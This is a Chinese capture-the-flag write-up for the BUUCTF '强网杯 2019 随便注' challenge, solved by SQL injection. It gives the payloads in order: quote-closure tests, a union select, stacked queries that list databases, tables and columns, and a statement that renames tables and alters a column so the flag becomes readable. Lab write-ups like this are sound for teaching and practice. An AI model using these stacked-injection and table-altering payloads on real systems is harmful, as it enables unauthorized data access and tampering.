BUUCTF [强网杯 2019] 随便注
打开环境:
先输入1
查询回显内容:
输入1'
测试SQL语句闭合类型:
判断出原SQL闭合方式为:inject='1'
,查询字段数:
1' union select 11,22 #
产生回显:
屏蔽掉了部分关键字,尝试各种注入姿势,直到使用堆叠注入:
1';show databases;#
得到了各数据库的名字,再查看表名:
1';show tables;#
继续查看两个表中的内容:
1';show columns from `1919810931114514`;#
1';show columns from `words`;#
页面查询的结果是words
表中的内容,flag在1919810931114514
表中,两表数据模式相似,尝试将两个表名字互换,直接查询1919810931114514
表中内容:
1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;#
CHARACTER SET utf8:数据库字符集。设置数据库的默认编码为utf8
COLLATE utf8_general_ci:数据库校对规则。ci
是case insensitive
的缩写,意思是大小写不敏感;相对的是cs
,即case sensitive
,大小写敏感;还有一种是utf8_bin,是将字符串中的每一个字符用二进制数据存储,区分大小写。
再次执行:1';show columns from 'words';#
:
可以看到两表名已进行互换,查询flag
的内容:
1' or '1'='1
得到flag
,完成题目注入